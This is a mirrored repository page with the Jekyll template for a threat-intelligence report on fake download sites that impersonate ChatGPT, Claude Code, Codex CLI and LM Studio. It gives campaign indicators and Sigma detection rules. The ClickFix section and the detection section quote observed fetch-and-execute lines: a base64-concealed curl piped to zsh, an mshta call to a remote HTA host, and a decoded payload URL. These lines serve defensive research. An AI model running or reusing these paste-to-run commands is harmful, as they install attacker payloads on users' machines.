mirror of https://github.com/iimp0ster/detection-chokepoints synced 2026-08-09 12:41:00 +00:00

Files

T

imposterandClaude Fable 5 899ca50455 fix(theme): self-host arcade fonts, end heading color flash

theme-arcade.css opened with a cross-origin @import to Google Fonts,
which delayed the whole overlay sheet: H1s painted white from
style.css first, then snapped orange when the arcade layer applied.
On slow or mobile connections both states were visible, reading as
inconsistent heading colors across pages.

- Self-host Press Start 2P + VT323 woff2 (OFL) under assets/fonts/,
  replace the @import with local @font-face blocks
- Preload the two latin subsets in the default layout head
- Drop the dead 'color: var(--text)' H1 declarations on the three
  trend pages (clickgrab, edge-exploits, masq-infra) that the
  overlay's !important was silently overriding; arcade orange is
  the confirmed canonical H1 treatment sitewide

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01W87Fdr8vD1ZiR8jumj4Ud5

2026-07-13 18:28:11 -06:00

42 KiB

Raw Permalink Blame History

layout, title, description, permalink

layout	title	description	permalink
default	Software Impersonation Infrastructure: Trend Analysis	Confirmed masquerading delivery infrastructure - favicon-pivot hunts, JS-gated EXE campaigns, ClickFix install modals, and developer-tool domain squats mapped through the Detection Chokepoint Framework.	/trends/masq-infra/

Overview
Framework
Campaigns
ChatGPT
Claude Code
Codex CLI
LM Studio
Operators
Pipeline
Detections

Software Impersonation Infrastructure

Hunt data: de-intel-pipeline · Pipeline records: {{ site.data.masq_infra.meta.record_count | default: "-" }} {% if site.data.masq_infra_hunts %} · {{ site.data.masq_infra_hunts.meta.hunt_count }} validated hunts · {{ site.data.masq_infra_hunts.meta.date_range }} {% endif %} {% if site.data.masq_infra.meta.last_updated %} · Aggregate updated: {{ site.data.masq_infra.meta.last_updated }} {% endif %}

Data: Validated de-intel-pipeline hunts (URLScan/sandbox-cited) + aggregate IOC pipeline (MalwareBazaar, ThreatFox, URLScan), payload-hash confirmed.

{% if site.data.masq_infra_hunts %}

Validated hunts

Brands targeted

Confirmed delivery

{% endif %} {% if site.data.masq_infra.meta.record_count %}

Pipeline records

{% endif %} {% if site.data.masq_infra.payload_summary %}

Payload families

{% endif %} {% if site.data.masq_infra.campaigns %}

Pipeline campaigns

{% endif %}

Detection Chokepoint Framework

Every masquerading delivery campaign follows the same chain. The brand changes. The lure page changes. The payload host rotates. But the prerequisites don't: the adversary must register infrastructure, build a convincing lure, stage a payload, and get the victim to execute something. Perfect visual impersonation neutralizes user-facing trust signals - your detection budget belongs at execution and infrastructure layers.

Brand recon Favicon hash, title pivot T1595 RECON

Domain registration Squat, typosquat, co.com TLD T1583.001 DOMAINS

Lure page build Clone + stolen favicon/logo T1036.005 MASQ

Payload staging CDN, BunnyCDN, HTA host T1608.001 STAGE

Delivery gate JS click, UA filter, modal T1566.002 PHISH

User execution EXE, mshta, curl|zsh T1204.002 EXEC

Stages 1–3 are largely blind to endpoint detection. Favicon pivots and domain registration happen off-network. The lure page looks identical to the real product. Detection compounds at payload staging (network/DNS), delivery gate (proxy/IOK), and user execution (EDR/Sigma). A detection that fires only on the domain name breaks when the operator rotates hosting; one that fires on signed-binary-from-Downloads survives the rotation.

{% if site.data.masq_infra_hunts.infra_patterns.size > 0 %}

Infrastructure Patterns Across Hunts

{% assign max_pat = site.data.masq_infra_hunts.infra_patterns.first.hunt_count | default: 1 %} {% for pat in site.data.masq_infra_hunts.infra_patterns %} {% assign bar_w = pat.hunt_count | times: 200 | divided_by: max_pat %}

{{ pat.hunt_count }}/{{ site.data.masq_infra_hunts.meta.hunt_count }}

{% endfor %} {% endif %}

Active Campaigns (Hunt Intelligence)

Validated hunts from the de-intel-pipeline. Each object passed schema, citation, and source-diversity validation before promotion to hunts/.

{% if site.data.masq_infra_hunts.campaigns.size > 0 %} {% for camp in site.data.masq_infra_hunts.campaigns %}

{{ camp.date_start }} → {{ camp.date_end }} {{ camp.ioc_count }} IOCs {{ camp.ttp_count }} TTPs {% if camp.confirmed_delivery %} CONFIRMED DELIVERY {% else %} SURVEY / SQUAT {% endif %}

{{ camp.threat_name }} - {% for method in camp.delivery_methods %}{{ method }}{% unless forloop.last %}, {% endunless %}{% endfor %}

{% if camp.domains.size > 0 %}

{% for d in camp.domains limit:4 %}{{ d }}{% unless forloop.last %} · {% endunless %}{% endfor %}

{% endif %}

{% endfor %}

{% if site.data.masq_infra_hunts.brand_matrix.size > 0 %}

Brand Impersonation Matrix

{% for row in site.data.masq_infra_hunts.brand_matrix %} {% endfor %}

Brand	Campaigns	Delivery methods	Confirmed delivery
{{ row.brand }}	{{ row.campaign_count }}	{% for m in row.delivery_methods %}{{ m }}{% unless forloop.last %}; {% endunless %}{% endfor %}	{% if row.confirmed_delivery %}Yes{% else %}No{% endif %}

{% endif %} {% else %}

No hunt data loaded. Run python scripts/transform_intel_hunts.py to generate _data/masq_infra_hunts.yml.

{% endif %}

ChatGPT Impersonation - MROScanner OU Installer

A fake "ChatGPT for Windows" download page (chatgpt-windows.com) on Oracle Cloud serves a 2.3 MB Inno Setup installer signed by Estonian shell company MROScanner OU. Download is JS-gated - no static link in HTML - with Windows-only UA fingerprinting and per-visitor affiliate tracking via a PHP backend. Payload staged on BunnyCDN.

POST /init/tracking.php
→ returns per-visitor URL: https://app-cg.b-cdn.net/ChatGPT_Installer.exe?hash=<token>

ChatGPT_Installer.exe
SHA-256: 17dc646d645252196a19e87752fa21dbe7b626cd71a9dacddebd9a2ed8f1e16e
Signer: MROScanner OU (SSL.com, thumbprint E3B6CF11...)

The cert is the stickiest signal. MROScanner OU + thumbprint E3B6CF11... appears on every binary this operator signs until revocation (valid until April 2027). The domain rotates. The CDN bucket name rotates. The cert thumbprint does not. Monitor VT/Hunt.io for new hits on this signer.

JS-only download gate defeats static scanners. URLScan sees a blank download page. The payload URL surfaces only after JavaScript executes a POST to /init/tracking.php. Non-Windows user-agents get "Unsupported System" - further reducing scanner noise and narrowing the victim pool to paid malvertising traffic (UTM params: fbclid, bid, tid).

Signal	Durability	Notes
chatgpt-windows.com	Medium	3-year squatter history; repurposed May 2026
app-cg.b-cdn.net	Low	CDN bucket - hash the binary when sandbox completes
MROScanner OU cert	High	Pivot on thumbprint across VT/Hunt.io
/init/tracking.php	Medium	Same PHP structure links sibling campaigns

Claude Code - ClickFix Install Modal

Three fake "Download Claude" pages clone claude.com and present a fake install modal. Mac victims run a base64-concealed curl | zsh command; Windows victims run mshta https://download.version-516.com/claude. The kit predates Claude targeting - /other path was active 12 days before /claude.

# Mac - social cover echo, then malicious curl
echo "Downloading Claude: https://claude.ai/install.sh" && curl -s $(echo '<base64>' | openssl base64 -d -A) | zsh

# Windows - HTA via signed LOLBin
mshta https://download.version-516.com/claude

Different delivery model - no file on disk for the primary vector. Paste-to-run bypasses SmartScreen entirely. The victim opens a terminal, reads a command that looks like official Anthropic install docs, and executes it. Cross-platform delivery (Mac + Windows) from the same kit with per-site payload domain rotation (xprssit.com vs ewabeniak.com).

Real Anthropic analytics loaded on every visit. Clone pages load Segment, Amplitude, and claude-custom-tracking.js from www.anthropic.com. Victim traffic blends into legitimate claude.com analytics noise - a subtle signal worth monitoring if you correlate page views with actual installs.

Domain	Role
uneifoifow-3ndfskq.pages.dev	Cloudflare Pages lure; Mac payload via xprssit.com
too.clawddddd.com	Typosquat lure; Mac payload via ewabeniak.com
download.version-516.com	Shared Windows HTA host (/claude, /other)
xprssit.com / ewabeniak.com	Per-site Mac shell script delivery (/curl/<hash>)

OpenAI Codex CLI - Domain Squatting

Multiple domains registered within weeks of the Codex CLI public launch (April 2026) squat the exact product name. No confirmed binary delivery - credential harvest and SEO poisoning targeting developers who search for install instructions instead of using npm install -g @openai/codex.

Developer tool distribution shifts the attack surface. CLI tools distributed via npm/GitHub have no downloadable installer page - favicon hash pivots don't apply when Cloudflare bot-protects openai.com. Adversaries pivot to title-based and domain-pattern queries. Watch for ClickFix paste-to-run pages appearing on these domains - the Claude Code hunt found the same pattern on Cloudflare Pages sites with similar domain age profiles.

Domain	Status	Pattern
codex-cli.org	Phishing-tagged; dormant empty HTML	Squats npm package name
codexhub.click	Vietnamese Codex CLI page + /login	Credential harvest suspected
codexcli.homes	SSL cipher mismatch - conditional serving	Geo/IP gated content
codexcli.gr.com	404 at scan time	Dormant squat infrastructure

LM Studio - API Endpoint Impersonation

lmstudio.co.com redirects to www.api.lmstudio.co.com, impersonating the LM Studio local API server (normally localhost:1234). No installer delivery - threat is prompt exfiltration or API key theft via a misconfigured client endpoint string.

The supply chain of developer tooling config. A domain at api.lmstudio.co.com is indistinguishable from a legitimate remote LM Studio endpoint in a config string. Watch for this pattern on Ollama (localhost:11434), Jan.ai, AnythingLLM. DNS was pulled by May 11, 2026 after community phishing reports.

Notion Coverage Survey

Favicon pivot for Notion returned 5,692 non-Notion hits - structurally too noisy because Notion is used as a CMS backend by thousands of legitimate sites. No active Windows/Mac delivery campaign detected in the last 90 days. Only finding: notiondownload.com (Android APK squatter, Hostinger).

Not every brand is pivot-able. Heavily embedded brands (Notion, Google Docs) copy favicons verbatim across legitimate third-party sites. File-type narrowing (filename:*.exe) requires a URLScan API key. Title pivots and domain-pattern queries are the fallback when favicon hash pivots produce unusable noise.

Cross-Campaign Operator Comparison

Two distinct delivery philosophies emerged from the May 2026 hunt window - traditional EXE distribution vs. paste-to-run developer targeting.

	MROScanner OU (ChatGPT)	ClickFix Install Modal (Claude)
Delivery	EXE download (JS-gated)	Paste-to-run command
File on disk	Yes - Inno Setup installer	No file for primary vector
Code signing	Shell-company Authenticode	Not applicable
OS targeting	Windows only (UA filter)	Mac + Windows (separate commands)
Obfuscation	BunnyCDN + per-visitor hash	Base64 URL in JS + domain rotation
Infrastructure	Oracle Cloud dedicated VM	Cloudflare Pages (ephemeral)
Traffic model	Paid malvertising (UTM tracking)	Real brand analytics loaded
Kit reuse	Unknown	Confirmed multi-brand (/other path)
Sophistication	Medium	Medium-high

Two operators, same target demographic. Both campaigns impersonate AI developer tools released in 2025–2026. The EXE operator buys code signing certs and runs paid traffic. The ClickFix operator skips file download entirely and targets terminal-comfortable users. Your detection stack needs both paths: signed-binary-from-Downloads and unusual-parent → mshta/curl-from-terminal.

{% if site.data.masq_infra_hunts.ttp_summary.size > 0 %}

MITRE Technique Frequency (Hunts)

{% for ttp in site.data.masq_infra_hunts.ttp_summary %} {% endfor %}

Technique	Label	Hunts
{{ ttp.mitre_id }}	{{ ttp.label }}	{{ ttp.count }}

{% endif %}

Aggregate Pipeline Data

IOC-first pipeline records from confirmed payload reports and infrastructure hunts. Delivery chains shown only when URLScan captured the redirect sequence.

{% if site.data.masq_infra.payload_summary %} {% assign ps = site.data.masq_infra.payload_summary %}

Payload Class Breakdown

{% assign max_class = 1 %} {% assign cb = ps.class_breakdown %} {% for item in cb %} {% if item[1] > max_class %} {% assign max_class = item[1] %} {% endif %} {% endfor %} {% assign classes = "stealer,c2,rmm,loader,unknown" | split: "," %} {% for cls in classes %} {% assign cls_count = cb[cls] | default: 0 %} {% assign bar_pct = cls_count | times: 100 | divided_by: max_class %}

{% endfor %} {% endif %}

{% assign records = site.data.masq_infra.records %} {% if records.size > 0 %}

Confirmed Delivery Domains (sample)

{% assign sorted = records | sort: "last_seen" | reverse %} {% for rec in sorted limit:15 %} {% endfor %}

Domain	IP	Class	First seen
{{ rec.domain }}	{{ rec.ip \| default: "-" }}	{{ rec.payload_class }}	{{ rec.first_seen \| date: "%Y-%m-%d" }}

{% else %}

Pipeline records sparse or schema misaligned. Run collection pipeline or Streamlit review app to refresh _data/masq_infra.json.

{% endif %}

{% assign fav_clusters = site.data.masq_infra.infrastructure_summary.favicon_clusters %} {% if fav_clusters.size > 0 %}

Favicon Clusters

{% for fc in fav_clusters %} {% endfor %}

Hash	Domains	Sample
{{ fc.favicon_hash }}	{{ fc.count }}	{{ fc.sample_domain }}

{% endif %}

{% if site.data.masq_infra_history %}

Weekly Volume

{% endif %}

Detection Recommendations

Each recommendation maps to the ATT&CK technique it detects. Execution-layer rules survive brand rotation; domain blocklists do not.

T1036.005

PE OriginalFilename mismatch

Alert when a process OriginalFilename from the PE version resource does not match its running filename. Adversaries rename malicious binaries - they rarely recompile with matching resources.

Example detection logic

title: Masqueraded Installer OriginalFilename Mismatch
logsource:
  category: process_creation
  product: windows
detection:
  selection:
    Image|endswith:
      - '\ChatGPT_Installer.exe'
      - '\ZoomInstaller.exe'
      - '\DiscordSetup.exe'
    CurrentDirectory|contains:
      - '\Downloads\'
      - '\AppData\Local\Temp\'
  filter_legit:
    OriginalFileName|contains:
      - 'ChatGPT'
      - 'Zoom'
      - 'Discord'
  condition: selection and not filter_legit
level: high

T1553.002

Shell-company signed binary from user download path

A signed binary executing from Downloads after a browser spawn is more anomalous than unsigned execution in managed environments. Legitimate signed software deploys via IT tooling, not user download directories. MROScanner OU is a known shell-company signer pattern.

Observed signers (1)

ChatGPT_Installer.exe
Signer: MROScanner OU (Tallinn, EE)
CA: SSL.com Code Signing Intermediate CA RSA R1
Thumbprint: E3B6CF111525417CE68C1CBE99E257DBAC54D071
Valid: 2026-04-22 to 2027-04-21

Example detection logic

title: Signed Installer Executed From Downloads After Browser Spawn
logsource:
  category: process_creation
  product: windows
detection:
  selection_parent:
    ParentImage|endswith:
      - '\chrome.exe'
      - '\msedge.exe'
      - '\firefox.exe'
  selection_installer:
    Image|endswith:
      - '\setup.exe'
      - '\installer.exe'
      - '\install.exe'
    CurrentDirectory|contains: '\Downloads\'
    Signed: 'true'
  filter_known_vendors:
    SignatureStatus: 'Valid'
    Signature|contains:
      - 'Microsoft'
      - 'Google'
      - 'Zoom'
  condition: selection_parent and selection_installer and not filter_known_vendors
level: high

T1218.005

mshta fetching HTA from non-enterprise URL

mshta.exe spawned from cmd.exe, Run dialog, or terminal context fetching an HTA from an external domain. Covers Claude Code ClickFix Windows delivery via download.version-516.com/claude.

Observed payloads (1)

mshta https://download.version-516.com/claude

Example detection logic

title: Mshta Executing Remote HTA From Unusual Parent
logsource:
  category: process_creation
  product: windows
detection:
  selection:
    Image|endswith: '\mshta.exe'
    CommandLine|contains:
      - 'http://'
      - 'https://'
  selection_parent:
    ParentImage|endswith:
      - '\cmd.exe'
      - '\explorer.exe'
      - '\WindowsTerminal.exe'
  filter_enterprise:
    CommandLine|contains:
      - '.microsoft.com'
      - '.windows.com'
  condition: selection and selection_parent and not filter_enterprise
level: high

T1059.004

curl piped to shell from terminal (Mac developer targeting)

Detect curl -s ... | zsh or curl ... | bash where the URL domain is not a known package manager or vendor CDN. Claude Code install modal uses base64-concealed curl URLs on attacker-controlled domains.

Observed payloads (2)

# Social cover echo + malicious curl (Mac)
echo "Downloading Claude: https://claude.ai/install.sh" && curl -s $(echo '<base64>' | openssl base64 -d -A) | zsh
Decoded payload URL (uneifoifow variant)
https://xprssit.com/curl/6df71b43667a2d1d9de3e88cba7e16fb11b4ddf67af64b853b903b3fa8ead500

Example detection logic

title: Curl Piped to Shell From Non-Vendor Domain
logsource:
  category: process_creation
  product: macos
detection:
  selection:
    Image|endswith:
      - '/curl'
      - '/zsh'
      - '/bash'
    CommandLine|contains|all:
      - 'curl'
      - '|'
  filter_vendors:
    CommandLine|contains:
      - 'anthropic.com'
      - 'homebrew.sh'
      - 'github.com'
  condition: selection and not filter_vendors
level: high

INFRA

Favicon hash pivoting for infrastructure clustering

From one confirmed fake domain: fetch favicon, compute Murmur3 hash, query Shodan/URLScan. Campaigns reusing stolen favicons across dozens of domains surface immediately. ChatGPT hunt: 158 hits on OpenAI favicon pivot; Claude: 1,003 hits.

Example hunt queries

# URLScan favicon pivot (ChatGPT) hash:9747c13cd87b36ebf2ab567b9d0bc2ff49b5a4f46f4f51e4d053024f579fb9a0 AND NOT page.domain:openai.com URLScan favicon pivot (Claude) hash:816a55828befeb50fe8a9556cb92d80194efefbd3f4e04ccf694992dd8e085e3 AND NOT page.domain:claude.ai Shodan

http.favicon.hash:<mmh3_int>

INFRA

Affiliate tracking backend fingerprint

The /init/tracking.php + /init/pixel.php endpoint pattern with UTM parameters (fbclid, bid, tid) indicates a paid traffic malvertising campaign. If this PHP structure reappears on another fake download page, it connects campaigns to the same kit or operator.

Example detection logic

# Proxy / DNS - hunt for sibling sites cs-uri-stem: '/init/tracking.php' cs-method: 'POST' cs-uri-query|contains: - 'utm_source=' - 'fbclid=' URLScan pivot

page.url:"/init/tracking.php" AND filename:*.exe

{% if site.data.masq_infra_history %}

{% endif %}

if (typeof hljs !== 'undefined') { document.querySelectorAll('.mi-payload-example code, .logic-block code').forEach(function(el) { var text = el.textContent || el.innerText; var lang = /logsource:|condition:/.test(text) ? 'yaml' : 'bash'; el.className = 'language-' + lang; hljs.highlightElement(el); }); } </script>

42 KiB Raw Permalink Blame History Unescape Escape

Software Impersonation Infrastructure

Detection Chokepoint Framework

Infrastructure Patterns Across Hunts

Active Campaigns (Hunt Intelligence)

Brand Impersonation Matrix

ChatGPT Impersonation - MROScanner OU Installer

Claude Code - ClickFix Install Modal

OpenAI Codex CLI - Domain Squatting

LM Studio - API Endpoint Impersonation

Notion Coverage Survey

Cross-Campaign Operator Comparison

MITRE Technique Frequency (Hunts)

Aggregate Pipeline Data

Payload Class Breakdown

Confirmed Delivery Domains (sample)

Favicon Clusters

Weekly Volume

Detection Recommendations

Decoded payload URL (uneifoifow variant)

URLScan favicon pivot (Claude)

Shodan

URLScan pivot

42 KiB

Raw Permalink Blame History